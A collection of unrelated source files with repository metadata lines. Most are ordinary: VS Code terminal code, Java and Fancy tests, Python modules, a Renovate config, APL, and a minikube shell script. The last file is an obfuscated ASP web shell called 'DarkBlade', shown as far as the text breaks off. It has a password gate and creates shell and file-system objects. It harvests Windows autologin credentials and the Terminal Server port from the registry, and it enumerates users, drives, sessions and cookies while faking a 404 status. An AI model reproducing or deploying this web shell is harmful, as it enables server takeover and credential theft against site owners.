import { IPartialCommandDetectionCapability, TerminalCapability } from 'vs/platform/terminal/common/capabilities/capabilities';
// Importing types is safe in any layer
// eslint-disable-next-line code-import-patterns
import { IMarker, Terminal } from 'xterm-headless';
const enum Constants {
/**
* The minimum size of the prompt in which to assume the line is a command.
*/
MinimumPromptLength = 2
}
/**
* This capability guesses where commands are based on where the cursor was when enter was pressed.
* It's very hit or miss but it's often correct and better than nothing.
*/
export class PartialCommandDetectionCapability implements IPartialCommandDetectionCapability {
readonly type = TerminalCapability.PartialCommandDetection;
private readonly _commands: IMarker[] = [];
get commands(): readonly IMarker[] { return this._commands; }
private readonly _onCommandFinished = new Emitter<IMarker>();
readonly onCommandFinished = this._onCommandFinished.event;
constructor(
private readonly _terminal: Terminal,
) {
this._terminal.onData(e => this._onData(e));
this._terminal.parser.registerCsiHandler({ final: 'J' }, params => {
if (params.length >= 1 && (params[0] === 2 || params[0] === 3)) {
this._clearCommandsInViewport();
}
// We don't want to override xterm.js' default behavior, just augment it
return false;
});
}
private _onData(data: string): void {
if (data === '\x0d') {
this._onEnter();
}
}
private _onEnter(): void {
if (!this._terminal) {
return;
}
if (this._terminal.buffer.active.cursorX >= Constants.MinimumPromptLength) {
const marker = this._terminal.registerMarker(0);
if (marker) {
this._commands.push(marker);
this._onCommandFinished.fire(marker);
}
}
}
private _clearCommandsInViewport(): void {
// Find the number of commands on the tail end of the array that are within the viewport
let count = 0;
for (let i = this._commands.length - 1; i >= 0; i--) {
if (this._commands[i].line < this._terminal.buffer.active.baseY) {
break;
}
count++;
}
// Remove them
this._commands.splice(this._commands.length - count, count);
}
}
| TypeScript | 5 | KevinAo22/vscode | src/vs/platform/terminal/common/capabilities/partialCommandDetectionCapability.ts | [
"MIT"
] |
package com.baeldung.comparable;
import static org.junit.Assert.assertEquals;
import java.util.ArrayList;
import java.util.Collections;
import java.util.List;
import org.junit.Test;
public class ComparableUnitTest {
@Test
public void whenUsingComparable_thenSortedList() {
List<Player> footballTeam = new ArrayList<Player>();
Player player1 = new Player(59, "John", 20);
Player player2 = new Player(67, "Roger", 22);
Player player3 = new Player(45, "Steven", 24);
footballTeam.add(player1);
footballTeam.add(player2);
footballTeam.add(player3);
Collections.sort(footballTeam);
assertEquals(footballTeam.get(0)
.getName(), "Steven");
assertEquals(footballTeam.get(2)
.getRanking(), 67);
}
}
| Java | 4 | zeesh49/tutorials | core-java/src/test/java/com/baeldung/comparable/ComparableUnitTest.java | [
"MIT"
] |
# Used in top-level module constant and nested constast tests.
TestModuleTopLevelConstant = true
class TestModuleConstant {
Constant = true
class Nested {
Constant = true
}
}
# Used in multiple-assigns constant test.
TestModuleConstantMultiA, TestModuleConstantMultiB = 1, 2
FancySpec describe: Module with: {
it: "preserves method documentation when dynamically overwriting" \
with: 'overwrite_method:with_dynamic: when: {
class Bar {
def foo {
"bar"
}
}
# Check it's as expected before overwriting.
# Bar instance_method: 'foo . documentation to_s is: "bar"
class Bar {
overwrite_method: 'foo with_dynamic: |g| {
g push_literal("bar")
g ret()
}
}
# Make sure it's preserved
# Bar instance_method: 'foo . documentation to_s is: "bar"
}
it: "get top-level constants" when: {
TestModuleTopLevelConstant is_not: nil
TestModuleConstant Constant is: true
TestModuleConstant Nested Constant is: true
}
it: "sets top-level constants" when: {
TestModuleTopLevelConstant is_not: 'other
TestModuleTopLevelConstant = 'other
TestModuleTopLevelConstant is: 'other
}
it: "multiple-assigns top-level constants" when: {
TestModuleConstantMultiA is: 1
TestModuleConstantMultiB is: 2
}
it: "gets and sets local constants" when: {
A = true
A is: true
A = false
A is: false
}
it: "multiple-assigns local constants" when: {
B, C = 1, 2
B is: 1
C is: 2
}
}
| Fancy | 4 | bakkdoor/fancy | tests/module.fy | [
"BSD-3-Clause"
] |
"""Utility functions for Aqualink devices."""
from __future__ import annotations
from collections.abc import Awaitable
from iaqualink.exception import AqualinkServiceException
from homeassistant.exceptions import HomeAssistantError
async def await_or_reraise(awaitable: Awaitable) -> None:
"""Execute API call while catching service exceptions."""
try:
await awaitable
except AqualinkServiceException as svc_exception:
raise HomeAssistantError(f"Aqualink error: {svc_exception}") from svc_exception
| Python | 4 | MrDelik/core | homeassistant/components/iaqualink/utils.py | [
"Apache-2.0"
] |
{
"extends": [
"apollo-open-source",
// Bundle together Jest/TS-Jest updates (even major ones).
"group:jestMonorepo",
"group:jestPlusTSJest"
],
"schedule": null,
// Override this value set in apollo-open-source back to the default.
// It's nice to be able to see PRs for everything in the Dependency Dashboard.
prCreation: "immediate",
// Disable circleci manager; see apollographql/federation's renovate file for details.
"enabledManagers": ["npm"],
"dependencyDashboard": true,
"baseBranches": [
"master",
"version-3",
],
"postUpdateOptions": ["npmDedupe"],
"packageRules": [
// Bunch up all non-major dependencies into a single PR. In the common case
// where the upgrades apply cleanly, this causes less noise and is resolved faster
// than starting a bunch of upgrades in parallel for what may turn out to be
// a suite of related packages all released at once.
{
"groupName": "all non-major dependencies",
"matchUpdateTypes": ["patch", "minor"],
"groupSlug": "all-minor-patch",
},
{
"groupName": "oclif",
"matchPackagePrefixes": [
"@oclif/"
]
},
{
"groupName": "cosmiconfig",
"matchPackagePatterns": [
"cosmiconfig"
]
},
{
"matchUpdateTypes": ["minor", "patch", "pin", "digest"],
"automerge": true
},
{
"matchPaths": ["packages/apollo/package.json"],
"extends": [":pinAllExceptPeerDependencies"],
"packageRules": [
{
"matchPackageNames": ["graphql"],
"depTypeList": ["dependencies"],
"rangeStrategy": "replace"
}
]
},
{
"matchPackageNames": ["graphql"],
"matchBaseBranches": ["master"],
"allowedVersions": "~14.2.1"
},
{
"matchPackageNames": ["@types/node"],
"matchBaseBranches": ["master"],
"allowedVersions": "8.x"
},
{
"matchPackageNames": ["@types/node"],
"matchBaseBranches": ["version-3"],
"allowedVersions": "14.x"
},
{
"matchPackageNames": ["vscode-uri"],
"allowedVersions": "=1.0.6"
},
{
// v3 is ESM only
"matchPackageNames": ["node-fetch"],
"allowedVersions": "^2.0.0"
},
{
// v5 is importing node:tty which is breaking though I'm not sure why
"matchPackageNames": ["chalk"],
"allowedVersions": "^4.0.0"
},
{
// v7 is ESM only
"matchPackageNames": ["strip-ansi"],
"allowedVersions": "^6.0.0"
},
{
"matchPackageNames": ["@apollo/federation"],
"matchBaseBranches": ["master"],
"allowedVersions": "0.27.0"
},
],
}
| JSON5 | 4 | apollographql/apollo-codegen | renovate.json5 | [
"MIT"
] |
A←1↓⍳9 ⍝ 2 3 4 5 6 7 8 9
residual ← A∘.|A ⍝ 0 1 0 1 0 1 0 1
⍝ 2 0 1 2 0 1 2 0
⍝ 2 3 0 1 2 3 0 1
⍝ 2 3 4 0 1 2 3 4
⍝ 2 3 4 5 0 1 2 3
⍝ 2 3 4 5 6 0 1 2
⍝ 2 3 4 5 6 7 0 1
⍝ 2 3 4 5 6 7 8 0
b ← 0=residual ⍝ 1 0 1 0 1 0 1 0
⍝ 0 1 0 0 1 0 0 1
⍝ 0 0 1 0 0 0 1 0
⍝ 0 0 0 1 0 0 0 0
⍝ 0 0 0 0 1 0 0 0
⍝ 0 0 0 0 0 1 0 0
⍝ 0 0 0 0 0 0 1 0
⍝ 0 0 0 0 0 0 0 1
c ← +⌿ b ⍝ 1 1 2 1 3 1 3 2
d ← 1=c ⍝ 1 1 0 1 0 1 0 0
e ← +/ d ⍝ 4 <--- number of prime numbers less than 10
⍝ (1=+⌿0=residual)/A ⍝ compress not supported yet
| APL | 4 | melsman/apltail | tests/primes0.apl | [
"MIT"
] |
"""CloseSpider is an extension that forces spiders to be closed after certain
conditions are met.
See documentation in docs/topics/extensions.rst
"""
from collections import defaultdict
from scrapy import signals
from scrapy.exceptions import NotConfigured
class CloseSpider:
def __init__(self, crawler):
self.crawler = crawler
self.close_on = {
'timeout': crawler.settings.getfloat('CLOSESPIDER_TIMEOUT'),
'itemcount': crawler.settings.getint('CLOSESPIDER_ITEMCOUNT'),
'pagecount': crawler.settings.getint('CLOSESPIDER_PAGECOUNT'),
'errorcount': crawler.settings.getint('CLOSESPIDER_ERRORCOUNT'),
}
if not any(self.close_on.values()):
raise NotConfigured
self.counter = defaultdict(int)
if self.close_on.get('errorcount'):
crawler.signals.connect(self.error_count, signal=signals.spider_error)
if self.close_on.get('pagecount'):
crawler.signals.connect(self.page_count, signal=signals.response_received)
if self.close_on.get('timeout'):
crawler.signals.connect(self.spider_opened, signal=signals.spider_opened)
if self.close_on.get('itemcount'):
crawler.signals.connect(self.item_scraped, signal=signals.item_scraped)
crawler.signals.connect(self.spider_closed, signal=signals.spider_closed)
@classmethod
def from_crawler(cls, crawler):
return cls(crawler)
def error_count(self, failure, response, spider):
self.counter['errorcount'] += 1
if self.counter['errorcount'] == self.close_on['errorcount']:
self.crawler.engine.close_spider(spider, 'closespider_errorcount')
def page_count(self, response, request, spider):
self.counter['pagecount'] += 1
if self.counter['pagecount'] == self.close_on['pagecount']:
self.crawler.engine.close_spider(spider, 'closespider_pagecount')
def spider_opened(self, spider):
from twisted.internet import reactor
self.task = reactor.callLater(self.close_on['timeout'],
self.crawler.engine.close_spider, spider,
reason='closespider_timeout')
def item_scraped(self, item, spider):
self.counter['itemcount'] += 1
if self.counter['itemcount'] == self.close_on['itemcount']:
self.crawler.engine.close_spider(spider, 'closespider_itemcount')
def spider_closed(self, spider):
task = getattr(self, 'task', False)
if task and task.active():
task.cancel()
| Python | 4 | FingerCrunch/scrapy | scrapy/extensions/closespider.py | [
"BSD-3-Clause"
] |
#!/bin/bash
# Copyright 2021 The Kubernetes Authors All rights reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
# Creates a comment on the provided PR number, using the provided gopogh summary
# to list out the flake rates of all failing tests.
# Example usage: ./report_flakes.sh 11602 gopogh.json Docker_Linux
set -eu -o pipefail
if [ "$#" -ne 3 ]; then
echo "Wrong number of arguments. Usage: report_flakes.sh <PR number> <Root job id> <environment list file>" 1>&2
exit 1
fi
PR_NUMBER=$1
ROOT_JOB=$2
ENVIRONMENT_LIST=$3
# To prevent having a super-long comment, add a maximum number of tests to report.
MAX_REPORTED_TESTS=30
DIR=$( cd "$( dirname "${BASH_SOURCE[0]}" )" && pwd )
TMP_DATA=$(mktemp)
# 1) Process the ENVIRONMENT_LIST to turn them into valid GCS URLs.
# 2) Check to see if the files are present. Ignore any missing files.
# 3) Cat the gopogh summaries together.
# 4) Process the data in each gopogh summary.
# 5) Filter tests to only include failed tests (and only get their names and environment).
# 6) Sort by environment, then test name.
# 7) Store in file $TMP_DATA.
sed -r "s|^|gs://minikube-builds/logs/${PR_NUMBER}/${ROOT_JOB}/|; s|$|_summary.json|" "${ENVIRONMENT_LIST}" \
| (xargs gsutil ls || true) \
| xargs gsutil cat \
| "$DIR/process_data.sh" \
| awk -F, 'NR>1 {
if ($5 == "Failed") {
printf "%s:%s\n", $3, $4
}
}' \
| sort \
> "$TMP_DATA"
# Download the precomputed flake rates from the GCS bucket into file $TMP_FLAKE_RATES.
TMP_FLAKE_RATES=$(mktemp)
gsutil cp gs://minikube-flake-rate/flake_rates.csv "$TMP_FLAKE_RATES"
TMP_FAILED_RATES=$(mktemp)
# 1) Parse the flake rates to only include the environment and test name.
# 2) Sort the environment+test names.
# 3) Get all lines in $TMP_DATA not present in $TMP_FLAKE_RATES.
# 4) Append column containing "n/a" to data.
# 4) Store in $TMP_FAILED_RATES
awk -F, 'NR>1 {
printf "%s:%s\n", $1, $2
}' "$TMP_FLAKE_RATES" \
| sort \
| comm -13 - "$TMP_DATA" \
| sed -r -e 's|$|,n/a|' \
> "$TMP_FAILED_RATES"
# 1) Parse the flake rates to only include the environment, test name, and flake rates.
# 2) Sort the flake rates based on environment+test name.
# 3) Join the flake rates with the failing tests to only get flake rates of failing tests.
# 4) Sort failed test flake rates based on the flakiness of that test - stable tests should be first on the list.
# 5) Append to file $TMP_FAILED_RATES.
awk -F, 'NR>1 {
printf "%s:%s,%s\n", $1, $2, $3
}' "$TMP_FLAKE_RATES" \
| sort -t, -k1,1 \
| join -t , -j 1 "$TMP_DATA" - \
| sort -g -t, -k2,2 \
>> "$TMP_FAILED_RATES"
# Filter out arm64 and crio tests until they're more stable
TMP_FAILED_RATES_FILTERED=$(mktemp)
grep -v "arm64\|crio" "$TMP_FAILED_RATES" > "$TMP_FAILED_RATES_FILTERED"
FAILED_RATES_LINES=$(wc -l < "$TMP_FAILED_RATES_FILTERED")
if [[ "$FAILED_RATES_LINES" -eq 0 ]]; then
echo "No failed tests! Aborting without commenting..." 1>&2
exit 0
fi
# Create the comment template.
TMP_COMMENT=$(mktemp)
printf "These are the flake rates of all failed tests.\n|Environment|Failed Tests|Flake Rate (%%)|\n|---|---|---|\n" > "$TMP_COMMENT"
# Create variables to use for sed command.
ENV_CHART_LINK_FORMAT='https://storage.googleapis.com/minikube-flake-rate/flake_chart.html?env=%1$s'
TEST_CHART_LINK_FORMAT=${ENV_CHART_LINK_FORMAT}'&test=%2$s'
TEST_GOPOGH_LINK_FORMAT='https://storage.googleapis.com/minikube-builds/logs/'${PR_NUMBER}'/'${ROOT_JOB}'/%1$s.html#fail_%2$s'
# 1) Get the first $MAX_REPORTED_TESTS lines.
# 2) Print a row in the table with the environment, test name, flake rate, and a link to the flake chart for that test.
# 3) Append these rows to file $TMP_COMMENT.
head -n "$MAX_REPORTED_TESTS" "$TMP_FAILED_RATES_FILTERED" \
| awk '-F[:,]' '{
if ($3 != "n/a") {
rate_text = sprintf("%3$s ([chart]('$TEST_CHART_LINK_FORMAT'))", $1, $2, $3)
} else {
rate_text = $3
}
printf "|[%1$s]('$ENV_CHART_LINK_FORMAT')|%2$s ([gopogh]('$TEST_GOPOGH_LINK_FORMAT'))|%3$s|\n", $1, $2, rate_text
}' \
>> "$TMP_COMMENT"
# If there are too many failing tests, add an extra row explaining this, and a message after the table.
if [[ "$FAILED_RATES_LINES" -gt 30 ]]; then
printf "|More tests...|Continued...|\n\nToo many tests failed - See test logs for more details." >> "$TMP_COMMENT"
fi
printf "\n\nTo see the flake rates of all tests by environment, click [here](https://minikube.sigs.k8s.io/docs/contrib/test_flakes/)." >> "$TMP_COMMENT"
# install gh if not present
"$DIR/../installers/check_install_gh.sh"
gh pr comment "https://github.com/kubernetes/minikube/pull/$PR_NUMBER" --body "$(cat $TMP_COMMENT)"
| Shell | 5 | skyplaying/minikube | hack/jenkins/test-flake-chart/report_flakes.sh | [
"Apache-2.0"
] |
<%@ LANGUAGE='VBScript' CODEPAGE='65001'%>
<%
Response.Buffer=True
Response.Clear
Response.CharSet="utf-8"
Server.ScriptTimeOut=300
'-------------------------------Config-------------------------------
Const pass="C5E83EDF778C18482D84D5489B8D8F"'admin
Const pipu=True
Const iycew=59
Const ydnj=False
Const csj="_"
Const jsrfr="lqbip|rcvdh|ihyn|ihk|ybgqm|aiw|gwk|qmkq|rxg|jksfh|geww|vgm|ulz|jqj|nyf|sesq|ugxyt|pnu|czwfq|yvquw|wckz|uwrty"
Const amb="login"
Const alqp="GB2312"
Const dxpm="asp|asa|cer|cdx"
Const mhla="asp|asa|cer|cdx|aspx|asax|ascx|cs|jsp|php|txt|inc|ini|js|htm|html|xml|config"
Const nhbqw=50
Const echs="zzzzzzzz.html"
Const aerq=False
'-------------------------------Config-------------------------------
Dim goaction,lqbip,ihyn,ihk,aiw,gwk,lkyy,iuwq,vnznl,xjab,zjhor,nun,wbxx,cngn,ogfim,rfaq,vfo,nzax,zhyko,mkew,qmkq,ads,ajto,xdmm,rcvdh,ujcmu,qtylw,dqc,rqszr,iij,ogda,exte,mhvec,acjdi,conn,rxg,fkho,bondh,podw,mpj,qebjx,jksfh,geww,jdvf,vgm,ulz,kurmq,jqj,gmhi,nyf,qrqg,zqps,ubql,znx,gtt,ertns,mt,sesq,czwfq,ugxyt,pnu,nuatb,ytusx,pwab,dgj,ybgqm,mvvi,wseta,fjjxv,xjmb,irbw,rke,rhnw,glw,wannd,ldcr,tbe,oth,kylxz,uwdvh,ccnh,nuser,npass,wtpog,pgvr,yvquw,wckz,qqp,ryfj,vujc,uwrty,ktg,ghpc,lqog
mvvi="DarkBlade 1.5 Sex OverLord Edition"
wseta="DarkBlade"
fjjxv="DarkB"++"ladePa"+rtoqv+"ss"
dxoes()
nnam()
uwdvh=jnph()
If Not uwdvh And goaction<>amb Then grh()
If aerq And Trim(ramoi("AUT"+meeeq+"H_USER"))="" Then
Response.Status="401 Unautho"+zcuti+"rized"
Response.Addheader"WWW-AuThen"+zln+"ticate","BASIC"
If ramoi("AUT"+meeeq+"H_USER")=""Then Response.End()
End If
Select Case goaction
Case amb
jnnby()
Case"bapis"
lrnyc()
Case"eyb"
yzj()
Case"fbk"
ptib()
Case"zzajv"
ojyen()
Case"rwumm"
wbmfm()
Case"lfx"
yvs()
Case"kbqxz"
awsr()
Case"gbe"
nvkq()
Case"dkdl"
srxtf()
Case"ide"
xibim()
Case"rcjqh"
aum()
Case"Logout"
mddep()
Case"jzp"
jmqbw()
Case"jilq","veerr"
fevyb()
Case Else
fevyb()
End Select
viwe
Sub dxoes()
If Not ydnj Then On Error Resume Next
rfaq=Timer()
Dim kue,fri,egpnh,zfmf,didec,ubizz,zpsji,qowkf
servurl=ramoi("URL")
Set iuwq=nfffq("MSXML"+ifdg+"2.XM"+swww+"LHTTP")
Set vnznl=nfffq("WS"+qkdx+"cript.She"+nomr+"ll")
Set xjab=nfffq("Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect")
Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation")
If Not IsObject(vnznl)Then Set vnznl=nfffq("WS"+qkdx+"cript.She"+nlrnz+"ll.1")
If Not IsObject(zjhor)Then Set zjhor=nfffq("She"+nlrnz+"ll.Applic"+oqzje+"ation.1")
Set wbxx=new RegExp
wbxx.Global=True
wbxx.IgnoreCase=True
wbxx.MultiLine=True
lkyy=ramoi("SERVER_NAME")
cngn=ramoi("PATH_INFO")
ogfim=Lcase(zsz(cngn,"/"))
nzax=wxw(".")
zhyko=wxw("/")
ujcmu=1
ads=1
Response.status="404 Not Found"
End Sub
Sub nnam()
If Not ydnj Then On Error Resume Next
For Each fri in request.queryString
execute fri&"=request.queryString("""&fri&""")"
Next
If InStr(ramoi("CONTENT_TYPE"),"multipart/form-data")>=1 Then
Set pgvr=new upload_5xsoft
For Each egpnh in pgvr.xgqlo
execute egpnh&"=pgvr.Form("""&egpnh&""")"
Next
Else
For Each kue in request.Form
execute kue&"=request.form("""&kue&""")"
Next
End If
qowkf=Split(jsrfr,"|")
For Each zpsji in qowkf
execute""&zpsji&"=mdez("&zpsji&")"
Next
lqbip=Replace(lqbip,"/","\")
If Right(lqbip,1)="\"And Len(lqbip)>3 Then lqbip=Left(lqbip,Len(lqbip)-1)
End Sub
Sub viwe()
If Not ydnj Then On Error Resume Next
Dim ocmv
iuwq.abort
Set iuwq=Nothing
Set vnznl=Nothing
Set xjab=Nothing
Set zjhor=Nothing
Set wbxx=Nothing
vfo=timer()
ocmv=vfo-rfaq
echo"<br></td></tr></table>"
mwt gmhi
sodx"100%"
echo"<tr class=""head"">"
echo"<td>"
mwt mkew
ocmv=FormatNumber(ocmv,5)
If Left(ocmv,1)="."Then ocmv="0"&ocmv
mwt"<br>"
echo"<div align=right>Processed in :"&ocmv&"seconds</div></td></tr></table></body></html>"
Response.End()
End Sub
Sub jnnby()
If Not ydnj Then On Error Resume Next
dgj=request("dgj")
If dgj<>""Then
dgj=wucql(dgj)
If wucql(dgj)=pass Then
suzn fjjxv,dgj
Response.Redirect(cngn)
Else
yln"Fuck you,get out!"
End If
End If
ajg"Login"
echo"<center><br>"
cxaqj False
echo"<p><b>Password : </b>"
zesc"password","dgj","","30",""
echo" "
qjr"Get In"
echo"</p></center></form>"
End Sub
Sub yvs()
If Not ydnj Then On Error Resume Next
Dim i,iijs,slq,gth,asp,wgmiu,zvwg,kodk,iqg,oons
gth="Sy"+kyirr+"stemRoot|WinD"+lir+"ir|Com"+tboq+"Spec|TEMP|TMP|NUMBER_OF_PR"+smeb+"OCESSORS|OS|Os2LibP"+vxg+"ath|Path|PA"+nfrfd+"THEXT|PROCESSOR_ARCHITECTU"+tyvg+"RE|"&_
"PROCESSOR_IDENTIf"+wvld+"IER|PROCE"+zuwbp+"SSOR_LEVEL|PROCE"+ihhir+"SSOR_REVISION"
slq=Split(gth,"|")
execute "Set iijs=vnznl.Environ"&ajjwi&"ment(""SYSTEM"")"
asp=ramoi("NUMBER_OF_PR"+smeb+"OCESSORS")
If IsNull(asp)Or asp=""Then
asp=iijs("NUMBER_OF_PR"+smeb+"OCESSORS")
End If
zvwg=ramoi("OS")
If IsNull(zvwg)Or zvwg=""Then
zvwg=iijs("OS")
End If
wgmiu=iijs("PROCESSOR_IDENTIf"+wvld+"IER")
ajg"Server Infomation"
sodx"100%"
vhl
echo"<td colspan=""2""align=""center"">"
echo"<b>Server parameters:</b>"
echo"</td>"
uemp
abxky 0
ycd"Server Name:"
doTd lkyy,""
uemp
abxky 1
ycd"Server IP:"
doTd ramoi("LOCAL_ADDR"),""
uemp
abxky 0
ycd"Server Port:"
doTd ramoi("SERVER_PORT"),""
uemp
abxky 1
ycd"Server Mem"+ugie+"ory"
execute "doTd kxyzh(zjhor.GetSystemInformati"&gap&"on(""PhysicalMemoryInstalled"")),"""""
uemp
abxky 0
ycd"Server Time"
doTd Now,""
uemp
abxky 1
ycd"Server Engine"
doTd ramoi("SERVER_SOFTWARE"),""
uemp
abxky 0
ycd"Script Timeout"
doTd Server.ScriptTimeout,""
uemp
abxky 1
ycd"Number of Cpus"
doTd asp,""
uemp
abxky 0
ycd"Info of Cpus"
doTd wgmiu,""
uemp
abxky 1
ycd"Server OS"
doTd zvwg,""
uemp
abxky 0
ycd"Server Script Engine"
doTd ScriptEngine&"/"&ScriptEngineMajorVersion&"."&ScriptEngineMinorVersion&"."&ScriptEngineBuildVersion,""
uemp
abxky 1
ycd"File's Full Path"
doTd ramoi("PATH_TRANSLATED"),""
uemp
ads=0
For i=0 To UBound(slq)
abxky ads
doTd slq(i)&":",""
execute "doTd vnznl.ExpandEnvironm"&qfm&"entStrings(""%""&slq(i)&""%""),"""""
uemp
nrf
Next
guenn
tvnm(Err)
echo"<br>"
Set iijs=Nothing
Dim wdh
sodx"100%"
vhl
echo"<td colspan=""6""align=""center"">"
echo"<b>Info of disks</b>"
echo"</td>"
uemp
abxky 0
doTd"Driver letter",""
doTd"Type",""
doTd"Label",""
doTd"File system",""
doTd"Space left",""
doTd"Total space",""
uemp
ads=1
For Each wdh in xjab.Drives
Dim vlpsj,xcmiw,tjx,ssfrt,pdl,nrr
vlpsj=wdh.DriveLetter
If Lcase(vlpsj)<>"a"Then
xcmiw=ixuog(wdh.DriveType)
tjx=wdh.VolumeName
ssfrt=wdh.Filesystem
pdl=kxyzh(wdh.FreeSpace)
execute "nrr=kxyzh(wdh.Total"&vnkh&"Size)"
abxky ads
doTd vlpsj,""
doTd xcmiw,""
doTd tjx,""
doTd ssfrt,""
doTd pdl,""
doTd nrr,""
uemp
End If
vlpsj=""
xcmiw=""
tjx=""
ssfrt=""
pdl=""
nrr=""
nrf
Next
guenn
tvnm(Err)
Set wdh=Nothing
Dim oia
Set oia=xjab.GetFolder(zhyko)
echo"<br>"
sodx"100%"
vhl
echo"<td colspan=""2""align=""center"">"
echo"<b>Info of site:</b>"
echo"</td>"
uemp
abxky 0
doTd"Physic"+iymx+"al path:",""
doTd zhyko,""
uemp
abxky 1
doTd"Current size:",""
doTd kxyzh(oia.Size),""
uemp
abxky 0
doTd"File count:",""
doTd oia.Files.Count,""
uemp
abxky 1
doTd"Folder count:",""
doTd oia.SubFolders.Count,""
uemp
guenn
tvnm(Err)
mwt"<br>"
Dim wsqws,rgcdn,twmf
Dim eyn,eedi,vlpsk,phr
kodk="HKEY_LOCAL_MACHINE\SYSTEM\Curre"+fewse+"ntControlSet\Control\Te"+iptg+"rminal Server\Win"+flu+"Stations\RDP-"+geks+"Tcp\"
iqg="PortNumber"
oons=knf(kodk&iqg)
If oons=""Then oons="Can't get Te"+iptg+"rminal port.<br/>"
wsqws="HK"+xoncv+"LM\SOFTW"+wjw+"ARE\Microsoft\Window"+zfd+"s NT\Curren"+suctf+"tVersion\Winlog"+sdxq+"on\"
eedi="AutoAdmin"+itn+"Logon"
rgcdn="Def"+lvgli+"aultUserName"
twmf="Defaul"+zhisp+"tPassword"
eyn=knf(wsqws&eedi)
If eyn=0 Then
vlpsk="Autologin isn't enabled"
Else
vlpsk=knf(wsqws&rgcdn)
End If
If eyn=0 Then
phr="Autologin isn't enabled"
Else
phr=knf(wsqws&twmf)
End If
sodx"100%"
vhl
echo"<td colspan=""2""align=""center"">"
echo"<b>Info of Te"+iptg+"rminal port&Autologin</b>"
echo"</td>"
uemp
abxky 0
doTd"Te"+iptg+"rminal port:",""
doTd oons,""
uemp
abxky 1
doTd"Autologin account:",""
doTd vlpsk,""
uemp
abxky 0
doTd"Autologin password:",""
doTd phr,""
uemp
guenn
echo"</ol>"
tvnm(Err)
End Sub
Sub lrnyc()
Dim i,dyb,dni,lxyvu
dni="MS"+lip+"WC.AdRotator,MS"+lip+"WC.Bro"+orji+"wserType,MS"+lip+"WC.NextLink,MS"+lip+"WC.TOOLS,MS"+lip+"WC.Status,MS"+lip+"WC.Counters,IISS"+yflfn+"ample.ContentRo"+mui+"tator,IISS"+yflfn+"ample.PageCoun"+ppot+"ter,MS"+lip+"WC.Per"+sij+"missionChecker,Ad"+oge+"odb.Connecti"+wehbe+"on,SoftArti"+urok+"sans.File"+fqhws+"Up,SoftArti"+urok+"sans.FileMa"+mhlnt+"nager,LyfUpload.UploadFile,Per"+dsyh+"sits.Upload.1,W3.Upload,JMail.SmtpMail,CDONTS.NewMail,Per"+dsyh+"sits.Mailsender,SMTPsvg.Mailer,DkQmail.Qmail,Geocel.Mailer,IISmail.Iismail.1,SmtpMail.SmtpMail.1,SoftArti"+urok+"sans.ImageGen,W3Image.Image,Scriptin"+xfw+"g.FileSystemObj"+znlfx+"ect,Ad"+oge+"odb.Str"+chut+"eam,She"+nlrnz+"ll.Applic"+oqzje+"ation,She"+nlrnz+"ll.Applic"+oqzje+"ation.1,WS"+qkdx+"cript.She"+nomr+"ll,WS"+qkdx+"cript.She"+nlrnz+"ll.1,WS"+qkdx+"cript.Network,hzhost.modules,npoint.host"
lxyvu="Ad Rotator,Browser info,NextLink,,,Counters,Content rotator,,Permission checker,ADODB connection,SA-FileUp,SoftArtisans FileManager,LyfUpload,ASPUpload,Dimac upload,Dimac JMail,CDONTS SMTP mail,ASPemail,ASPmail,dkQmail,Geocel mail,IISmail,SmtpMail,SoftArtisans ImageGen,Dimac W3Image,FSO,Stream ,,,,,,Hzhost module,Npoint module"
aryObjectList=Split(dni,",")
aryDscList=Split(lxyvu,",")
ajg"Server Object Detection"
echo"Check for other ObjectId or ClassId.<br>"
cxaqj True
zesc"text","qmkq",qmkq,50,""
echo" "
qjr"Check"
gbqwf
If qmkq<>""Then
yhigl
Call btsva(qmkq,"")
echo"</ul>"
End If
echo"<hr/>"
echo"<ul class=""info""><li><u>Object name</u>Status and more</li>"
For i=0 To UBound(aryDscList)
Call btsva(aryObjectList(i),aryDscList(i))
Next
echo"</ul><hr/>"
End Sub
Sub yzj()
Dim ogs,yyjd,gcy
ajg"Users and Groups Imformation"
Set gcy=getObj("WinNT://.")
gcy.Filter=Array("User")
csyfy"User",False
sodx"100%"
For Each ogs in gcy
vhl
echo"<td colSpan=""2""align=""center""><b>"&ogs.Name&"</b></td>"
uemp
etndu(ogs.Name)
Next
guenn
echo"</span><br>"
tvnm(Err)
csyfy"UserGroup",False
gcy.Filter=Array("Group")
sodx"100%"
ads=1
For Each yyjd in gcy
abxky ads
doTd yyjd.Name,""
doTd yyjd.Description,""
uemp
nrf
Next
guenn
echo"</span>"
tvnm(Err)
End Sub
Sub ptib()
If Not ydnj Then On Error Resume Next
Dim okvmb,wgd,dfm,wetzi
If ajto<>""Then Session(ajto)=xdmm
ajg"Server-Client Information"
csyfy"ServerVariables",True
sodx"100%"
ads=1
For Each dfm in Request.ServerVariables
abxky ads
ycd dfm
doTd ramoi(dfm),""
uemp
nrf
Next
guenn
mwt"</span><br>"
csyfy"Application",True
sodx"100%"
ads=1
For Each dfm in Application.Contents
If dfm<>dhkcb("117_132_132_115_132_117_136_124")Then
abxky ads
ycd dfm
doTd mszsa(Application(dfm)),""
uemp
nrf
End If
Next
guenn
mwt"</span><br>"
csyfy"Session",True
echo"<br>(ID"&Session.SessionId&")"
sodx"100%"
ads=1
For Each dfm in Session.Contents
wetzi=Session(dfm)
abxky ads
ycd dfm
doTd mszsa(wetzi),""
uemp
nrf
Next
abxky ads
cxaqj False
fkv"Set Session","20%"
echo"<td width=""80%""> Key :"
zesc"text","ajto","",30,""
echo"Value :"
zesc"text","xdmm","",30,""
echo"</td>"
gbqwf
uemp
guenn
mwt"</span><br>"
csyfy"Cookies",True
sodx"100%"
ads=1
For Each dfm in Request.Cookies
If Request.Cookies(dfm).HasKeys Then
For Each okvmb in Request.Cookies(dfm)
abxky ads
ycd dfm&"("&okvmb&")"
doTd mszsa(Request.Cookies(dfm)(okvmb)),""
uemp
nrf
Next
Else
abxky ads
ycd dfm
doTd mszsa(Request.Cookies(dfm)),""
uemp
nrf
End If
Next
guenn
echo"</span>"
tvnm(Err)
End Sub
Sub ojyen()
Dim inl,kob,swzr
